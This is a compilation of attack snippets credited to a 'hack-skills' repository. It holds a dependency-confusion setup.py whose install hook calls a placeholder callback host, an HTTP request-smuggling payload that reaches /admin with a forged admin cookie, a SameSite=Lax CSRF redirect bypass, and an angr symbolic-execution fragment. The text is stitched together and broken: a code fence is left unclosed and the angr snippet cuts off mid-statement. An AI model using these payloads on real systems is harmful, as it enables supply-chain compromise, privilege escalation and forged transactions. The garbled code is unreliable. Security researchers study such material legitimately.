### pip setup.py - Setup Hook Pattern

Source: https://github.com/yaklang/hack-skills/blob/main/skills/dependency-confusion/SKILL.md

This excerpt from a setup.py file demonstrates how to use a custom install command to trigger a callback to a controlled host during the pip installation process. Use this pattern only in authorized lab environments.

```python
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

```python
import angr
import claripy

proj = angr.Project('./challenge', auto_load_libs=False)

# Entry state: start from program entry point
state = proj.factory.entry_state()

# Blank state: start from arbitrary address
state = proj.factory.blank_state(addr=0x401000)

# Full init state: with command-line args
state = proj.factory.full_init_state(args=['./challenge', arg1_sym])

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x401234, avoid=[0x401300])

if simgr.found:

### FAT GET Request Smuggling Payload

Source: https://github.com/yaklang/hack-skills/blob/main/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md

This payload exploits reverse proxies that allow GET requests with a body. The front-end forwards the body, but the back-end may ignore it for GET requests, leaving body bytes in the buffer for subsequent requests.

```http
GET / HTTP/1.1
Host: target.example
Content-Length: 55

GET /admin HTTP/1.1
Host: target.example
Cookie: admin=true


```

### SameSite=Lax Bypass via 302 Redirect Chain

Source: https://github.com/yaklang/hack-skills/blob/main/skills/csrf-cross-site-request-forgery/SKILL.md

Leverages the fact that SameSite=Lax cookies are sent on top-level GET navigations. A redirect chain can convert an initial GET request from an attacker site into a state-changing GET request on the target site, bypassing CSRF protections.

```text
1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
```
